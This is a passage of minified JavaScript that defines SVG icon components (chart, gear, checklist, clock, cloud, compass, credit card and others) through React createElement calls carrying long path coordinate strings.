c228.727,0,414.809-186.09,414.809-414.813C1314.805,774.335,1128.723,588.254,899.996,588.254z M899.996,1354.688 c-193.883,0-351.618-157.739-351.618-351.622c0-193.886,157.735-351.621,351.618-351.621s351.618,157.735,351.618,351.621 C1251.613,1196.948,1093.879,1354.688,899.996,1354.688z"}),(0,o.createElement)("path",{d:"M1713.521,420.761h-433.009V303.547c0-47.278-38.459-85.741-85.732-85.741H605.221 c-47.279,0-85.742,38.463-85.742,85.741v117.214H86.476c-47.552,0-86.24,44.263-86.24,98.669v964.099 c0,54.402,38.688,98.666,86.24,98.666h1627.045c47.556,0,86.243-44.264,86.243-98.666V519.43 C1799.764,465.024,1761.076,420.761,1713.521,420.761z M1736.573,1483.528c0,20.902-12.148,35.475-23.053,35.475H86.476 c-10.901,0-23.049-14.572-23.049-35.475V519.43c0-20.906,12.148-35.479,23.049-35.479h464.6c17.451,0,31.596-14.145,31.596-31.595 V303.547c0-12.435,10.116-22.55,22.55-22.55h589.558c12.43,0,22.541,10.116,22.541,22.55v148.809 c0,17.451,14.145,31.595,31.596,31.595h464.604c10.904,0,23.053,14.572,23.053,35.479V1483.528z"}),(0,o.createElement)("path",{d:"M1384.245,602.086c-29.898,0-54.141,24.239-54.141,54.142c0,29.898,24.242,54.146,54.141,54.146 c29.903,0,54.146-24.247,54.146-54.146C1438.392,626.325,1414.148,602.086,1384.245,602.086z"}),(0,o.createElement)("path",{d:"M939.926,714.252c-17.45,0-31.595,14.145-31.595,31.596s14.145,31.596,31.595,31.596 c27.104,0,74.89,15.854,115.768,50.672c31.79,27.073,69.684,74.207,69.684,144.985c0,17.455,14.146,31.596,31.596,31.596 c17.451,0,31.596-14.141,31.596-31.596C1188.568,803.154,1026.699,714.252,939.926,714.252z"})),chart:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1649.831,2.343H625.737c-43.374,0-78.663,35.48-78.663,79.103v180.65H150.17 c-43.387,0-78.679,35.485-78.679,79.107V1480.77v20.814v216.974c0,43.618,35.292,79.099,78.679,79.099h1024.09 c43.378,0,78.661-35.48,78.661-79.099v-51.118h396.927c43.379,0,78.662-35.476,78.662-79.099v-475.002V556.448V81.445 C1728.51,37.823,1693.217,2.343,1649.831,2.343z M1194.633,1718.558c0,11.475-9.135,20.811-20.373,20.811H150.17 c-11.243,0-20.39-9.336-20.39-20.811v-216.974v-20.814V341.203c0-11.475,9.147-20.818,20.39-20.818h396.905h58.293h359.341 v178.798c0,16.185,13.083,29.303,29.226,29.303h200.698v952.285v20.814v107.566v58.289V1718.558z M1023.178,469.88V357.213 l124.501,112.667H1023.178z M1670.218,1113.339v475.002c0,11.476-9.13,20.81-20.37,20.81h-396.927v-107.566v-20.814V500.795 v-3.021c-0.409-8.706-4.577-16.433-10.952-21.529l-47.336-42.826l-124.906-113.035l-56.201-50.853 c-5.027-4.544-11.347-7.042-17.837-7.436h-3.316H605.368V81.445c0-11.475,9.13-20.81,20.369-20.81h1024.094 c11.239,0,20.387,9.335,20.387,20.81v475.002V1113.339z"}),(0,o.createElement)("path",{d:"M442.169,1578.664H260.621c-16.099,0-29.144-13.05-29.144-29.145V602.111 c0-16.1,13.045-29.149,29.144-29.149h181.549c16.096,0,29.144,13.049,29.144,29.149v947.408 C471.313,1565.614,458.265,1578.664,442.169,1578.664z M289.765,1520.374h123.26V631.255h-123.26V1520.374z"}),(0,o.createElement)("path",{d:"M747.355,1578.664H565.801c-16.099,0-29.148-13.05-29.148-29.145v-526.985 c0-16.095,13.049-29.144,29.148-29.144h181.554c16.095,0,29.144,13.049,29.144,29.144v526.985 C776.499,1565.614,763.45,1578.664,747.355,1578.664z M594.946,1520.374H718.21v-468.696H594.946V1520.374z"}),(0,o.createElement)("path",{d:"M1052.535,1578.664H870.991c-16.1,0-29.148-13.05-29.148-29.145V808.278 c0-16.1,13.049-29.145,29.148-29.145h181.544c16.1,0,29.148,13.044,29.148,29.145v741.242 C1081.684,1565.614,1068.635,1578.664,1052.535,1578.664z M900.135,1520.374h123.256V837.426H900.135V1520.374z"})),chartGear:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1769.23,755.728l-192.154-30.952c-16.273-63.095-41.242-123.328-74.449-179.583l114.021-157.817 c9.064-12.537,7.685-29.796-3.253-40.737l-160.029-160.029c-10.945-10.937-28.204-12.317-40.741-3.257l-157.813,114.025 c-56.25-33.202-116.483-58.171-179.582-74.445L1044.273,30.77c-2.462-15.271-15.641-26.499-31.114-26.499h-226.32 c-15.465,0-28.644,11.227-31.105,26.499l-30.956,192.159c-63.09,16.273-123.323,41.243-179.583,74.449l-157.82-114.03 c-12.537-9.051-29.8-7.68-40.737,3.262L186.609,346.643c-10.937,10.937-12.317,28.196-3.257,40.733l114.026,157.813 c-33.189,56.232-58.167,116.479-74.445,179.586L30.77,755.728c-15.271,2.462-26.499,15.641-26.499,31.11v226.324 c0,15.47,11.227,28.648,26.499,31.11l192.163,30.956c16.278,63.104,41.252,123.35,74.445,179.582l-114.026,157.813 c-9.06,12.537-7.68,29.796,3.257,40.732l160.029,160.033c10.941,10.946,28.195,12.313,40.737,3.263l157.82-114.03 c56.25,33.197,116.483,58.171,179.583,74.444l30.956,192.163c2.461,15.271,15.641,26.499,31.105,26.499h226.32 c15.474,0,28.652-11.228,31.114-26.499l30.956-192.167c63.099-16.274,123.341-41.247,179.573-74.44l157.822,114.03 c12.546,9.055,29.805,7.68,40.741-3.258l160.029-160.029c10.938-10.941,12.317-28.199,3.253-40.736l-114.021-157.818 c33.189-56.232,58.167-116.479,74.44-179.582l192.163-30.956c15.271-2.462,26.499-15.641,26.499-31.11V786.837 C1795.729,771.368,1784.502,758.189,1769.23,755.728z M1732.71,986.32l-186.353,30.02c-12.704,2.048-22.894,11.618-25.725,24.178 c-15.931,70.629-43.669,137.557-82.459,198.919c-6.884,10.885-6.444,24.855,1.091,35.291l110.583,153.053l-122.065,122.07 l-153.066-110.588c-10.444-7.544-24.415-7.97-35.29-1.095c-61.358,38.794-128.282,66.532-198.906,82.449 c-12.555,2.831-22.13,13.021-24.178,25.729l-30.024,186.361H813.681l-30.015-186.356c-2.048-12.709-11.623-22.895-24.186-25.726 c-70.607-15.922-137.531-43.664-198.916-82.458c-10.893-6.88-24.854-6.444-35.29,1.095l-153.051,110.588l-122.07-122.075 l110.584-153.048c7.539-10.436,7.974-24.406,1.095-35.291c-38.79-61.362-66.532-128.29-82.463-198.919 c-2.831-12.56-13.016-22.13-25.725-24.178L67.291,986.32V813.679l186.352-30.015c12.709-2.048,22.895-11.619,25.725-24.177 c15.931-70.634,43.673-137.562,82.463-198.925c6.879-10.884,6.444-24.854-1.095-35.29L250.152,372.223l122.07-122.074 l153.051,110.588c10.436,7.539,24.415,7.975,35.29,1.095c61.394-38.803,128.317-66.545,198.916-82.459 c12.563-2.831,22.138-13.021,24.186-25.729l30.015-186.352h172.637l30.024,186.356c2.048,12.708,11.623,22.898,24.178,25.729 c70.624,15.917,137.548,43.656,198.915,82.454c10.875,6.875,24.846,6.449,35.29-1.095l153.058-110.584l122.065,122.07 l-110.583,153.053c-7.535,10.436-7.975,24.406-1.091,35.291c38.799,61.385,66.546,128.308,82.459,198.915 c2.831,12.56,13.021,22.134,25.725,24.182l186.353,30.015V986.32z"}),(0,o.createElement)("path",{d:"M899.999,415.369c-267.219,0-484.624,217.4-484.624,484.624s217.405,484.628,484.624,484.628 c267.229,0,484.633-217.404,484.633-484.628S1167.228,415.369,899.999,415.369z M1174.867,580.563L900.008,855.427L625.14,580.567 C699,516.919,795.086,478.389,899.999,478.389C1004.921,478.389,1101.007,516.924,1174.867,580.563z M478.396,899.993 c0-104.918,38.534-201,102.179-274.859l287.924,287.915v407.379C650.68,1304.259,478.396,1121.868,478.396,899.993z M931.518,1320.428V913.049l287.915-287.92c63.645,73.86,102.18,169.942,102.18,274.864 C1321.612,1121.868,1149.336,1304.25,931.518,1320.428z"})),check:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M872.831,1326.446c-1.999,0.113-3.853-0.183-5.733-0.53c-6.064-1.076-11.863-3.945-16.53-8.611 l-514.859-514.86c-5.852-5.855-9.138-13.792-9.138-22.068c0-8.275,3.287-16.212,9.142-22.067L455.5,638.535 c12.189-12.185,31.954-12.185,44.126,0l373.109,373.1l727.884-727.89c12.189-12.185,31.949-12.185,44.131,0l119.788,119.784 c5.855,5.851,9.142,13.792,9.142,22.067s-3.286,16.212-9.137,22.063l-869.649,869.645 C889.043,1323.155,881.106,1326.446,872.831,1326.446z M401.905,780.377l470.825,470.83l825.614-825.61l-75.657-75.653 l-727.885,727.889c-12.19,12.186-31.95,12.186-44.13,0L477.563,704.729L401.905,780.377z"}),(0,o.createElement)("path",{d:"M1692.376,662.67c22.568,75.209,34.758,154.872,34.758,237.334c0,456.08-371.054,827.129-827.138,827.129 c-456.08,0-827.129-371.05-827.129-827.129c0-456.084,371.049-827.138,827.129-827.138c213.186,0,407.787,81.086,554.605,214.022 l44.161-44.165C1340.604,98.513,1130.391,10.456,899.996,10.456c-490.494,0-889.54,399.051-889.54,889.548 s399.046,889.54,889.54,889.54c490.498,0,889.548-399.042,889.548-889.54c0-100.372-16.734-196.909-47.517-286.985 L1692.376,662.67z"})),checklist:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1506.693,279.092h-150.36v-85.277c0-17.353-14.065-31.418-31.419-31.418h-227.317 C1078.205,70.574,996.5,2.304,900.003,2.304c-96.499,0-178.202,68.27-197.595,160.092H475.091 c-17.353,0-31.419,14.065-31.419,31.418v85.277H293.307c-17.353,0-31.419,14.066-31.419,31.419v1455.764 c0,17.353,14.066,31.419,31.419,31.419h1213.386c17.354,0,31.42-14.066,31.42-31.419V310.511 C1538.113,293.158,1524.047,279.092,1506.693,279.092z M506.511,225.234h223.28c16.617,0,30.354-12.935,31.362-29.517 c4.436-73.219,65.424-130.574,138.85-130.574c73.425,0,134.413,57.355,138.849,130.574c1.009,16.582,14.746,29.517,31.363,29.517 h223.28v53.858v62.838v74.81H506.511v-74.81v-62.838V225.234z M1475.274,1734.855H324.728V341.93h118.944v106.229 c0,17.354,14.066,31.419,31.419,31.419h849.823c17.354,0,31.419-14.066,31.419-31.419V341.93h118.941V1734.855z"}),(0,o.createElement)("path",{d:"M663.633,684.019L534.366,813.291l-57.803-57.806c-12.272-12.265-32.164-12.265-44.437,0 c-12.269,12.272-12.269,32.164,0,44.437l80.021,80.022c6.136,6.132,14.176,9.201,22.219,9.201c8.043,0,16.083-3.069,22.219-9.201 l151.486-151.486c12.269-12.273,12.269-32.165,0-44.438C695.799,671.755,675.907,671.755,663.633,684.019z"}),(0,o.createElement)("path",{d:"M824.996,750.563c-17.354,0-31.419,14.066-31.419,31.419c0,17.354,14.066,31.419,31.419,31.419h520.665 c17.354,0,31.419-14.066,31.419-31.419c0-17.353-14.065-31.419-31.419-31.419H824.996z"}),(0,o.createElement)("path",{d:"M663.633,1039.925l-129.267,129.272l-57.803-57.807c-12.272-12.265-32.164-12.265-44.437,0 c-12.269,12.272-12.269,32.164,0,44.438l80.021,80.021c6.136,6.133,14.176,9.2,22.219,9.2c8.043,0,16.083-3.067,22.219-9.2 l151.486-151.486c12.269-12.272,12.269-32.163,0-44.438C695.799,1027.66,675.907,1027.66,663.633,1039.925z"}),(0,o.createElement)("path",{d:"M1345.661,1106.467H824.996c-17.354,0-31.419,14.066-31.419,31.42s14.066,31.42,31.419,31.42h520.665 c17.354,0,31.419-14.066,31.419-31.42S1363.015,1106.467,1345.661,1106.467z"}),(0,o.createElement)("path",{d:"M663.633,1395.83l-129.267,129.272l-57.803-57.808c-12.272-12.264-32.164-12.264-44.437,0 c-12.269,12.274-12.269,32.166,0,44.439l80.021,80.021c6.136,6.132,14.176,9.199,22.219,9.199c8.043,0,16.083-3.067,22.219-9.199 l151.486-151.486c12.269-12.274,12.269-32.166,0-44.438C695.799,1383.566,675.907,1383.566,663.633,1395.83z"}),(0,o.createElement)("path",{d:"M1345.661,1462.373H824.996c-17.354,0-31.419,14.066-31.419,31.42s14.066,31.418,31.419,31.418h520.665 c17.354,0,31.419-14.064,31.419-31.418S1363.015,1462.373,1345.661,1462.373z"})),clock:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M899.998,1797.179c-494.704,0-897.173-402.472-897.173-897.173c0-494.708,402.469-897.184,897.173-897.184 c494.708,0,897.179,402.476,897.179,897.184C1797.177,1394.707,1394.705,1797.179,899.998,1797.179z M899.998,65.818 c-459.966,0-834.176,374.215-834.176,834.188c0,459.964,374.21,834.176,834.176,834.176c459.97,0,834.183-374.212,834.183-834.176 C1734.181,440.033,1359.968,65.818,899.998,65.818z"}),(0,o.createElement)("path",{d:"M899.998,1641.189c-408.689,0-741.183-332.492-741.183-741.184c0-408.695,332.494-741.194,741.183-741.194 c408.693,0,741.19,332.499,741.19,741.194C1641.188,1308.697,1308.69,1641.189,899.998,1641.189z M899.998,221.808 c-373.955,0-678.187,304.239-678.187,678.198c0,373.954,304.232,678.186,678.187,678.186 c373.957,0,678.193-304.231,678.193-678.186C1578.19,526.047,1273.954,221.808,899.998,221.808z"}),(0,o.createElement)("path",{d:"M1408.631,842.445H973.452v-435.18c0-37.471-30.486-67.963-67.952-67.963h-7.172 c-37.457,0-67.953,30.493-67.953,67.963v503.141v7.154v0.008c0,37.476,30.496,67.963,67.953,67.963h7.172l0.052-0.009h503.079 c37.466,0,67.955-30.479,67.955-67.962v-7.154C1476.586,872.939,1446.097,842.445,1408.631,842.445z M880.452,407.265 c0-9.859,8.015-17.883,17.876-17.883h7.172c9.843,0,17.875,8.024,17.875,17.883v435.18h-25.047 c-6.178,0-12.164,0.909-17.876,2.469V407.265z M1426.508,917.56c0,9.852-8.034,17.884-17.877,17.884H970.975h-65.448h-7.199 c-9.861,0-17.876-8.032-17.876-17.884v-7.154c0-9.861,8.015-17.879,17.876-17.879h25.047h50.077h435.179 c9.843,0,17.877,8.018,17.877,17.879V917.56z"})),cloudDatabase:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1590.159,376.445c-14.401-99.645-62.88-191.214-137.876-259.647 c-80.549-73.5-185.007-113.977-294.123-113.977c-137.095,0-264.828,63.774-347.255,171.996 c-44.933-22.768-94.688-34.687-145.53-34.687c-138.358,0-259.688,87.511-304.327,216.061c-11.252-1.184-22.574-1.776-33.883-1.776 c-177.686,0-322.247,144.557-322.247,322.246c0,177.686,144.561,322.243,322.247,322.243c5.378,0,10.923-0.146,16.538-0.435 c0.86,0.07,1.728,0.104,2.605,0.104h106.91v196.466c0,39.389,25.645,95.509,147.825,139.187 c73.803,26.387,168.201,42.477,269.688,46.315v141.735c-51.562,11.959-92.227,52.629-104.186,104.204H350.779 c-17.367,0-31.445,14.077-31.445,31.444s14.078,31.443,31.445,31.443h415.767c14.301,61.688,69.662,107.81,135.63,107.81 c65.968,0,121.328-46.122,135.63-107.81h415.767c17.368,0,31.445-14.076,31.445-31.443s-14.077-31.444-31.445-31.444h-415.767 c-11.958-51.575-52.624-92.245-104.185-104.204v-140.959c113.528-1.386,220.136-17.955,301.623-47.092 c122.181-43.678,147.825-99.798,147.825-139.187V998.574h75.536c5.01,0.22,9.672,0.33,14.238,0.33c4.717,0,9.551-0.114,14.78-0.355 c0.06,0,0.126-0.006,0.191-0.009c172.299-7.896,307.267-149.286,307.267-321.879 C1795.082,542.664,1713.555,424.476,1590.159,376.445z M971.688,1626.481c4.36,9.603,6.852,20.228,6.852,31.444 s-2.491,21.842-6.852,31.443c-12.016,26.449-38.621,44.922-69.513,44.922s-57.497-18.473-69.512-44.922 c-4.36-9.602-6.852-20.227-6.852-31.443s2.492-21.842,6.852-31.444c12.015-26.448,38.621-44.921,69.512-44.921 S959.673,1600.033,971.688,1626.481z M1320.182,1195.04c0,50.364-156.617,123.526-402.037,123.526 c-245.422,0-402.038-73.162-402.038-123.526v-82.546c21.092,14.357,48.755,28.387,84.937,41.324 c85.187,30.457,197.798,47.227,317.102,47.227c119.301,0,231.913-16.77,317.1-47.227c36.182-12.938,63.846-26.967,84.938-41.324 V1195.04z M1320.182,1014.631c0,50.363-156.617,123.526-402.037,123.526c-245.422,0-402.038-73.163-402.038-123.526v-16.057v-60.331 c21.092,14.358,48.755,28.388,84.937,41.324c19.872,7.105,41.288,13.432,63.88,19.007c74.259,18.328,161.748,28.221,253.222,28.221 c91.472,0,178.962-9.893,253.221-28.221c22.591-5.575,44.007-11.901,63.879-19.007c36.182-12.937,63.846-26.966,84.938-41.324 v60.331V1014.631z M516.106,840.379c0-50.368,156.616-123.535,402.038-123.535c245.42,0,402.037,73.167,402.037,123.535 c0,30.523-57.608,69.398-157.564,95.307c-64.976,16.84-147.795,28.221-244.473,28.221c-96.681,0-179.498-11.381-244.475-28.221 C573.713,909.777,516.106,870.903,516.106,840.379z M1485.101,935.713c-0.062,0-0.123,0.004-0.185,0.009 c-8.662,0.395-15.533,0.395-24.152,0c-0.483-0.026-0.966-0.035-1.449-0.035h-76.245V832.141c0-4.027-0.785-7.861-2.163-11.396 c-8.242-37.038-42.625-82.721-145.662-119.561c-85.182-30.453-197.799-47.228-317.1-47.228 c-119.303,0-231.919,16.775-317.102,47.228c-122.18,43.684-147.825,99.803-147.825,139.196v95.307H350.726 c-2.124-0.304-4.281-0.387-6.462-0.245c-5.847,0.381-11.599,0.573-17.1,0.573c-143.012,0-259.357-116.345-259.357-259.354 c0-143.007,116.345-259.357,259.357-259.357c16.828,0,33.699,1.636,50.141,4.856c16.477,3.225,32.471-6.983,36.542-23.202 c28.975-115.367,132.41-195.938,251.527-195.938c48.983,0,96.697,13.734,137.985,39.722c14.458,9.103,33.542,4.992,42.973-9.26 C915.831,128.427,1032.4,65.71,1158.16,65.71c193.254,0,353.107,144.842,371.834,336.911c1.22,12.511,9.771,23.092,21.742,26.909 c107.936,34.432,180.457,133.743,180.457,247.131C1732.193,815.52,1623.674,929.277,1485.101,935.713z"})),cloudDownload:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1591.313,488.215c-13.949-100.311-62.488-192.562-137.895-261.369 c-80.375-73.338-184.605-113.727-293.484-113.727c-137.905,0-266.314,64.672-348.487,174.261 c-45.448-23.62-96.001-36.004-147.688-36.004c-138.682,0-260.158,88.388-303.7,217.866c-12.225-1.405-24.546-2.112-36.837-2.112 c-176.729,0-320.505,143.778-320.505,320.505c0,176.725,143.776,320.501,320.505,320.501c5.427,0,11.038-0.147,16.728-0.44 c0.839,0.077,1.689,0.115,2.547,0.115h33.405c4.649-18.876,10.265-37.37,16.843-55.408h-46.121 c-1.937-0.293-3.911-0.378-5.905-0.255c-5.995,0.387-11.881,0.58-17.497,0.58c-146.172,0-265.097-118.917-265.097-265.093 c0-146.174,118.924-265.097,265.097-265.097c17.184,0,34.429,1.67,51.257,4.961c14.471,2.837,28.601-6.149,32.188-20.44 c29.617-117.917,135.335-200.274,257.093-200.274c50.078,0,98.846,14.039,141.04,40.602c12.746,8.02,29.559,4.396,37.865-8.159 c70.713-106.887,189.317-170.699,317.27-170.699c196.637,0,359.281,147.372,378.332,342.804c1.07,11.019,8.607,20.341,19.15,23.706 c110.33,35.196,184.459,136.707,184.459,252.598c0,141.925-110.92,258.198-252.551,264.788c-0.07,0.004-0.139,0.004-0.209,0.008 c-8.727,0.398-15.997,0.398-24.674,0c-0.426-0.02-0.85-0.027-1.279-0.027h-55.902c6.578,18.038,12.193,36.532,16.84,55.408h38.433 c4.962,0.217,9.632,0.325,14.246,0.325c4.754,0,9.569-0.112,14.722-0.349c0.059,0,0.119-0.008,0.182-0.008 c171.364-7.854,305.602-148.479,305.602-320.145C1797.283,653.584,1715.246,535.448,1591.313,488.215z"}),(0,o.createElement)("path",{d:"M900,786.832c-248.142,0-450.02,201.877-450.02,450.021c0,248.146,201.878,450.027,450.02,450.027 s450.023-201.882,450.023-450.027C1350.023,988.709,1148.142,786.832,900,786.832z M900,1631.473 c-217.589,0-394.611-177.029-394.611-394.619c0-217.589,177.022-394.613,394.611-394.613 c217.593,0,394.615,177.024,394.615,394.613C1294.615,1454.443,1117.593,1631.473,900,1631.473z"}),(0,o.createElement)("path",{d:"M1055.823,1255.545L927.704,1383.66V963.679c0-15.297-12.402-27.704-27.704-27.704 c-15.301,0-27.704,12.407-27.704,27.704v419.981l-128.119-128.115c-10.822-10.822-28.361-10.818-39.183,0 c-10.818,10.821-10.818,28.361,0,39.179l171.418,171.407c5.411,5.41,12.5,8.115,19.588,8.115c0.688,0,1.372-0.046,2.056-0.1 c0.646,0.047,1.287,0.1,1.944,0.1s1.299-0.053,1.944-0.1c0.684,0.054,1.368,0.1,2.056,0.1c7.089,0,14.181-2.705,19.588-8.115 l171.418-171.407c10.818-10.817,10.818-28.357,0-39.179C1084.192,1244.727,1066.646,1244.727,1055.823,1255.545z"})),cloudNetwork:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1635.687,1278.4c-47.769,0-88.294,31.611-101.762,75.016h-145.789v-349.629h73.367 c4.988,0.22,9.674,0.326,14.307,0.326c4.782,0,9.635-0.115,14.817-0.348c0.079-0.005,0.158-0.01,0.237-0.01 c173.133-7.938,308.756-150.018,308.756-323.454c0-134.669-81.956-253.44-205.979-301.697 c-14.456-100.161-63.179-192.209-138.563-260.994c-80.945-73.862-185.92-114.539-295.579-114.539 c-137.799,0-266.188,64.115-349.019,172.916c-45.162-22.9-95.19-34.891-146.321-34.891c-139.064,0-261.005,87.974-305.833,217.184 c-11.335-1.191-22.746-1.793-34.13-1.793C145.642,356.487,0.38,501.749,0.38,680.302c0,178.549,145.262,323.812,323.815,323.812 c5.393,0,10.958-0.146,16.592-0.436c0.875,0.074,1.758,0.109,2.65,0.109h72.515v349.629h-145.79 c-13.467-43.404-53.993-75.016-101.761-75.016c-58.735,0-106.521,47.787-106.521,106.521c0,58.735,47.786,106.521,106.521,106.521 c47.769,0,88.294-31.611,101.761-75.016h177.295c17.401,0,31.506-14.104,31.506-31.506v-381.135h194.534v586.93 c-43.404,13.463-75.016,53.988-75.016,101.762c0,58.735,47.787,106.521,106.521,106.521s106.521-47.786,106.521-106.521 c0-47.773-31.611-88.299-75.016-101.762v-586.93h331.067v586.93c-43.403,13.463-75.016,53.988-75.016,101.762 c0,58.735,47.787,106.521,106.521,106.521c58.735,0,106.522-47.786,106.522-106.521c0-47.773-31.612-88.299-75.016-101.762v-586.93 h194.534v381.135c0,17.401,14.104,31.506,31.506,31.506h177.295c13.468,43.404,53.993,75.016,101.762,75.016 c58.735,0,106.521-47.786,106.521-106.521C1742.208,1326.188,1694.422,1278.4,1635.687,1278.4z M168.401,1428.432 c-23.99,0-43.51-19.52-43.51-43.51s19.52-43.51,43.51-43.51c23.99,0,43.51,19.52,43.51,43.51S192.391,1428.432,168.401,1428.432z M705.004,1735.988c-23.99,0-43.51-19.52-43.51-43.51s19.52-43.51,43.51-43.51s43.51,19.52,43.51,43.51 S728.994,1735.988,705.004,1735.988z M1099.083,1735.988c-23.989,0-43.509-19.52-43.509-43.51s19.52-43.51,43.509-43.51 c23.99,0,43.51,19.52,43.51,43.51S1123.073,1735.988,1099.083,1735.988z M341.398,940.525c-5.886,0.382-11.674,0.575-17.204,0.575 c-143.807,0-260.803-116.996-260.803-260.799c0-143.807,116.996-260.803,260.803-260.803c16.909,0,33.875,1.644,50.428,4.883 c16.469,3.2,32.53-7.002,36.608-23.247c29.133-116.007,133.14-197.026,252.927-197.026c49.272,0,97.252,13.81,138.753,39.941 c14.479,9.116,33.615,5.006,43.062-9.279c69.877-105.629,187.079-168.687,313.525-168.687c194.314,0,355.039,145.629,373.86,338.749 c1.222,12.531,9.784,23.133,21.783,26.961c108.539,34.626,181.467,134.493,181.467,248.509c0,139.628-109.119,254.017-248.452,260.5 c-0.065,0-0.127,0.005-0.193,0.009c-8.602,0.387-15.744,0.387-24.311,0c-0.479-0.021-0.963-0.035-1.441-0.035H347.895 C345.763,940.468,343.587,940.385,341.398,940.525z M1635.687,1428.432c-23.99,0-43.51-19.52-43.51-43.51s19.52-43.51,43.51-43.51 s43.51,19.52,43.51,43.51S1659.677,1428.432,1635.687,1428.432z"})),compass:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1378.086,379.348L767.847,755.444c-0.07,0.044-0.132,0.097-0.202,0.141 c-0.521,0.324-1.011,0.701-1.516,1.055c-0.456,0.329-0.933,0.64-1.375,0.991c-0.459,0.368-0.885,0.779-1.328,1.173 c-0.438,0.39-0.889,0.762-1.3,1.179c-0.408,0.403-0.78,0.849-1.166,1.283c-0.394,0.447-0.811,0.876-1.182,1.345 c-0.351,0.438-0.662,0.912-0.991,1.376c-0.359,0.5-0.727,0.99-1.055,1.511c-0.044,0.07-0.096,0.131-0.141,0.202l-376.101,610.235 c-7.635,12.384-5.761,28.392,4.525,38.676c6.058,6.059,14.102,9.2,22.214,9.2c5.668,0,11.371-1.528,16.466-4.67l610.24-376.093 c0.071-0.043,0.131-0.095,0.202-0.14c0.521-0.328,1.012-0.696,1.516-1.056c0.455-0.329,0.932-0.64,1.376-0.99 c0.464-0.372,0.893-0.788,1.339-1.183c0.43-0.386,0.878-0.758,1.288-1.166c0.413-0.41,0.784-0.862,1.174-1.3 c0.396-0.442,0.807-0.867,1.175-1.327c0.35-0.441,0.66-0.92,0.99-1.375c0.359-0.505,0.726-0.994,1.055-1.517 c0.044-0.071,0.097-0.131,0.141-0.201l376.101-610.24c7.635-12.385,5.761-28.391-4.526-38.681 C1406.481,373.587,1390.466,371.713,1378.086,379.348z M504.352,1296.283l285.853-463.813l177.963,177.961L504.352,1296.283z M1012.574,966.025l-177.96-177.964l463.813-285.849L1012.574,966.025z"}),(0,o.createElement)("path",{d:"M1796.481,899.244L1796.481,899.244C1796.478,405.69,1394.943,4.158,901.394,4.154h-0.002l0,0 c-0.002,0-0.004,0-0.004,0c-493.55,0-895.082,401.533-895.086,895.09l0,0l0,0v0.004c0,493.552,401.533,895.086,895.086,895.086 c0,0,0.002,0,0.004,0l0,0h0.002c493.555-0.004,895.088-401.538,895.088-895.086V899.244L1796.481,899.244z M964.073,1729.182 c-1.247-33.586-28.789-60.447-62.682-60.447s-61.436,26.861-62.681,60.447c-409.067-30.599-736.657-358.192-767.26-767.256 c33.588-1.244,60.45-28.789,60.45-62.682s-26.862-61.433-60.447-62.681C102.058,427.497,429.646,99.907,838.711,69.304 c1.245,33.588,28.788,60.45,62.681,60.45s61.435-26.862,62.682-60.448c409.063,30.604,736.653,358.195,767.256,767.257 c-33.586,1.249-60.446,28.789-60.446,62.681s26.86,61.438,60.446,62.682C1700.727,1370.989,1373.136,1698.575,964.073,1729.182z"})),creditCard:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M197.667,1268.735h536.292c17.423,0,31.546-14.119,31.546-31.546c0-17.421-14.123-31.547-31.546-31.547 H197.667c-17.423,0-31.546,14.126-31.546,31.547C166.121,1254.616,180.243,1268.735,197.667,1268.735z"}),(0,o.createElement)("path",{d:"M905.211,1423.088H197.667c-17.423,0-31.546,14.127-31.546,31.546c0,17.428,14.123,31.547,31.546,31.547 h707.544c17.425,0,31.547-14.119,31.547-31.547C936.758,1437.215,922.636,1423.088,905.211,1423.088z"}),(0,o.createElement)("path",{d:"M197.667,1051.29h1381.288c17.425,0,31.547-14.129,31.547-31.547c0-17.428-14.122-31.547-31.547-31.547 H197.667c-17.423,0-31.546,14.119-31.546,31.547C166.121,1037.161,180.243,1051.29,197.667,1051.29z"}),(0,o.createElement)("path",{d:"M1418.561,1141.168c-41.674,0-80.367,12.946-112.333,34.979c-31.964-22.032-70.658-34.979-112.331-34.979 c-109.409,0-198.422,89.015-198.422,198.423c0,109.411,89.013,198.417,198.422,198.417c41.673,0,80.367-12.939,112.331-34.979 c31.966,22.04,70.659,34.979,112.333,34.979c109.409,0,198.419-89.006,198.419-198.417 C1616.979,1230.183,1527.97,1141.168,1418.561,1141.168z M1306.228,1414.962c-14.511-21.556-22.995-47.485-22.995-75.371 c0-27.884,8.484-53.825,22.995-75.38c14.51,21.555,22.995,47.496,22.995,75.38 C1329.223,1367.477,1320.737,1393.406,1306.228,1414.962z M1058.568,1339.591c0-74.622,60.707-135.33,135.328-135.33 c23.75,0,46.087,6.17,65.513,16.97c-24.654,33.061-39.27,74.033-39.27,118.36c0,44.319,14.615,85.292,39.27,118.354 c-19.426,10.8-41.763,16.97-65.513,16.97C1119.275,1474.914,1058.568,1414.207,1058.568,1339.591z M1418.561,1474.914 c-23.753,0-46.09-6.17-65.515-16.97c24.655-33.062,39.271-74.034,39.271-118.354c0-44.327-14.615-85.3-39.271-118.36 c19.425-10.8,41.762-16.97,65.515-16.97c74.618,0,135.326,60.708,135.326,135.33 